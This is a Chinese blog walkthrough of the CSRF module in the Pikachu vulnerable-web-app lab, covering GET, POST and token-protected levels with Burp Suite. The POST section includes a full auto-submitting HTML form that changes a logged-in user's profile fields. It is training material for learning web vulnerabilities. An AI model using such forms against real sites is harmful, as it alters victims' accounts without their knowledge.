CSRF模块
参考文章
Pikachu靶场之CSRF漏洞详解_pikachu靶场csrf-CSDN博客
1.CSRF(get)
这里点一下提示,发现有很多账号选择一个登录进去
登录进来之后下边有一个修改个人信息,点击一下,将地址修改一下,提交了之后信息也修改成功了,然后跳转到会员中心界面了
发现URL并没有变化,但是可以在bp中看到修改的信息,刚刚修改地址的那段已经在bp中拦截下来了
然后就得到了得到Get型的请求头部,然后在网址中访问
然后就能看到了,手机号和住址都被修改了
然后这样就是攻击成功,成功修改了用户的信息
从bp中可以看到url,修改用户信息的时候,是不带任何不可预测的认证信息的。那么,这里应该是可以被利用的。
在用户登录状态下(其实这个链接里面是不包含用户名的,谁登录都无所谓,只要有人登录着就行,登录着的用户的信息就会被改成url提供的那些)
- CSRF(post)
第二关我们换一个账户来,依旧还是修改个人信息,然后在bp中查看信息
然后可以看见这次post传参和上一关的get不一样了,但还是有可以利用的信息,只是不再显示有url修改的参数了,但还是没有不可预测的认证信息,可以被利用。
攻击者可以搭建一个站点,在站点上做一个表单,诱导用户点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息 编写一个CSGF.html页面,代码如下所示,
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="88888" />
<input id="add" type="text" name="add" value="GUET " />
<input id="email" type="text" name="email" value="hhahahahahahaa" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
将这个保存为html文件,然后之后访问
访问之后就可以看到个人信息被修改了
3.CSRF token
换一个用户lucy,修改个人信息在bp中抓包,看到这是一个有token的
然后这里和bp的防token是一样的
可以看看我暴力破解模块的文章pikachu-暴力破解模块-CSDN博客
OK然后这里发现没修改,去网上也看了看这方法可以,但是博主的方法我没成功弄出来
文章:
Pikachu系列——CSRF_pikachu csrf-CSDN博客
但没事,bp中有CSRF token的绕过插件
然后在主机中输入主机ip 名输入token 值为token的值
这是插件没打开之前的,我重新修改了phonenum为66666,响应里面的是开了插件的能修改的,然后需要前后对比一下嘛
这是开了插件之后的,重新在请求点击发送,可能需要多点几次发送,就可以发现两个的值相同了,攻击成功!太牛逼了